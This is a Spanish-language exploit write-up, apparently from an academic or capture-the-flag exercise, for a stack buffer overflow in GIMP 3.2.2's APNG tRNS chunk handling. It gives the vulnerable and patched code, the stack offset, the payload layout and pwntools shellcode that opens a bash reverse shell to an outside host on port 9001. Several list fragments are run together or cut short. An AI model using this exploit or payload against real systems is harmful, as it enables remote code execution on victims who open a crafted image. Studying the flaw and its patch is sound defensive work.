GIMP 3.2.2 contiene un desbordamiento de búfer basado en pila en su cargador de APNG (load_apng_image) al procesar el chunk tRNS (transparencia). Este análisis demuestra una prueba de concepto para la ejecución remota de código aprovechando esta vulnerabilidad.
tRNS de APNG en GIMP → RCEAutor: Chloe Xu, Abby Farrell, George Avdella, Austin Chan
Fecha: 2026-11-03
Objetivo: GIMP 3.2.2 (Linux x86_64)
CVE: CVE-2026-92183 (7.8 ALTA)
CWE: CWE-121: Desbordamiento de búfer basado en pila
Impacto: Ejecución remota de código (mediante un archivo PNG/APNG malicioso)
Aviso legal: Este análisis es solo con fines educativos. Los números de CVE y de versión provienen de un ejercicio académico/CTF controlado. No lo utilices contra sistemas que no sean tuyos o para los que no tengas permiso explícito de probar.
GIMP 3.2.2 contiene un desbordamiento de búfer basado en pila en su cargador de APNG (load_apng_image) al procesar el chunk tRNS (transparencia). La longitud del chunk se acepta sin validación contra el búfer de destino fijo de 256 bytes trns[256], lo que permite a un atacante sobrescribir la pila y secuestrar el flujo de control.
El análisis público existente demuestra solo una denegación de servicio (GIMP se bloquea). Este documento amplía el análisis hasta un exploit completo de reverse shell mediante:
acTL/fcTL.tRNS malicioso cuya longitud supera los 256 bytes.El exploit asume un entorno no endurecido (ASLR deshabilitado, NX deshabilitado, sin canario de pila) tal como se describe en las diapositivas de referencia. También analizamos por qué importan estas mitigaciones y cómo se comporta el exploit cuando están habilitadas.
Un archivo PNG consta de chunks:
| Campo | Tamaño |
|---|---|
| Longitud | 4 bytes (big-endian) |
| Tipo de chunk | 4 bytes (ASCII) |
| Datos del chunk | Length bytes |
| CRC | 4 bytes |
APNG amplía PNG con chunks auxiliares adicionales:
acTL (Control de animación) — marca el archivo como APNG. Debe aparecer antes del primer IDAT.fcTL (Control de fotograma) — precede a los datos de cada fotograma.fdAT (Datos de fotograma) — contiene los datos del fotograma (alternativa a IDAT para los fotogramas posteriores).El plugin PNG de GIMP (file-png) se ramifica a load_apng_file cuando ve un chunk acTL, incluso si la extensión del archivo es .png.
Del diff del parche:
Versión vulnerable (GIMP 3.2.2):
else if (png_id == id_tRNS)
{
for (gint i = 0; i < chunk.size; i++)
trns[i] = chunk.data[i + 8];
}
Versión parcheada (GIMP 3.2.6):
gint transparent_size = MIN(chunk.size, 256);
for (gint i = 0; i < transparent_size - 8; i++)
trns[i] = chunk.data[i + 8];
El búfer de destino se declara como:
guchar trns[256];
Como chunk.size se lee directamente del archivo y no está acotado, un chunk tRNS con size > 256 desborda trns[] en la pila. El desplazamiento + 8 indica que chunk.data apunta al inicio del chunk (incluyendo la cabecera de 8 bytes de longitud + tipo), por lo que chunk.data[i + 8] lee los bytes de datos reales.

Cuando se abre un archivo, el núcleo de GIMP selecciona el cargador antes de que se ejecute cualquier código del plug-in. file_open_pre_check() llama a gimp_plug_in_manager_file_procedure_find(), que hace coincidir por extensión o bytes mágicos. Un archivo .apng va a file-apng-load, y un archivo con la firma PNG va a file-png-load. El núcleo ejecuta el procedimiento elegido mediante gimp_plug_in_manager_call_run(), que lanza el plug-in file-png como proceso hijo y envía el nombre del procedimiento y los argumentos por una tubería. En el hijo, load_image() siempre se ejecuta primero y construye la capa PNG base. apng_load() luego llama a load_apng_image() incondicionalmente. png_load() lo llama solo si load_image() vio un chunk png/fcTL. load_apng_image() reabre el archivo y analiza los chunks por sí mismo, por lo que la pasada anterior de libpng no valida nada para él. png_load() también ignora su valor de retorno e informa éxito en cualquier caso.
El hijo es creado por gimp_spawn_async(), que en sistemas POSIX llama a vfork() y luego inmediatamente a execve() (app/core/gimp-spawn.c:171-199). execve() descarta las asignaciones de memoria del hijo y carga el binario file-png y sus bibliotecas desde cero. Por lo tanto, el hijo no conserva nada del heap ni de la pila del padre, y en sistemas con ASLR obtiene una disposición de direcciones nueva para cada apertura de imagen. Lo que sobrevive al exec es el ID de proceso, los privilegios del usuario, el entorno que GIMP pasa, y cualquier descriptor de archivo no marcado como close-on-exec. Estos incluyen los dos extremos de tubería pasados en la línea de comandos. Los propios extremos de tubería del padre están marcados como close-on-exec para que el hijo no los herede. Esto aísla la memoria pero no pone en sandbox al hijo. Un hijo comprometido aún puede ejecutarse como el usuario, leer los mismos archivos, y enviar al padre mensajes y datos de tiles manipulados a través de la tubería y la memoria compartida.
El marco de pila de la función vulnerable (simplificado, compilado con -O2 -z execstack -fno-stack-protector):
+------------------+ <- lower addresses
| trns[256] | (offset 0)
+------------------+
| ... |
| saved RBP |
| saved RIP | <- return address
+------------------+ <- higher addresses
El desplazamiento exacto desde el inicio de trns hasta la dirección de retorno guardada depende del compilador y de las variables locales circundantes. En el entorno de referencia es de 312 bytes. Lo determinamos mediante:
tRNS.RIP en el momento del fallo y calcular el desplazamiento con cyclic_find().Con -O2, es probable que el iterador del bucle i se almacene en un registro, por lo que no se sitúa entre el búfer y la dirección de retorno. El desplazamiento de 312 bytes corresponde a trns[256] más la alineación y otros registros guardados.
Los datos de tRNS son:
[ 312 bytes 'A' ] [ 8-byte return address ] [ 1410 bytes NOP sled ] [ shellcode ]
trns y alcanza la dirección de retorno guardada.0x7ffffffffdeb2 + 0x10 (apunta al NOP sled).execve("/bin/bash", ...) para lanzar una reverse shell.Shellcode (generado con pwntools):
context.arch = 'amd64'
shellcode = asm(shellcraft.amd64.linux.execve(
'/bin/bash',
['Hello form payload', '-c', 'sh -i >& /dev/tcp/192.0.2.1/9001 0>&1'],
{'PATH': '/usr/bin:/bin'}
))
El execve reemplaza el proceso hijo file-png con un shell. Debido a que GIMP bifurca un proceso hijo para la ejecución del plugin, el shell sobrevive de forma independiente al proceso principal de GIMP (que se queda colgado esperando al plugin). El atacante recibe un shell inverso en el puerto 9001.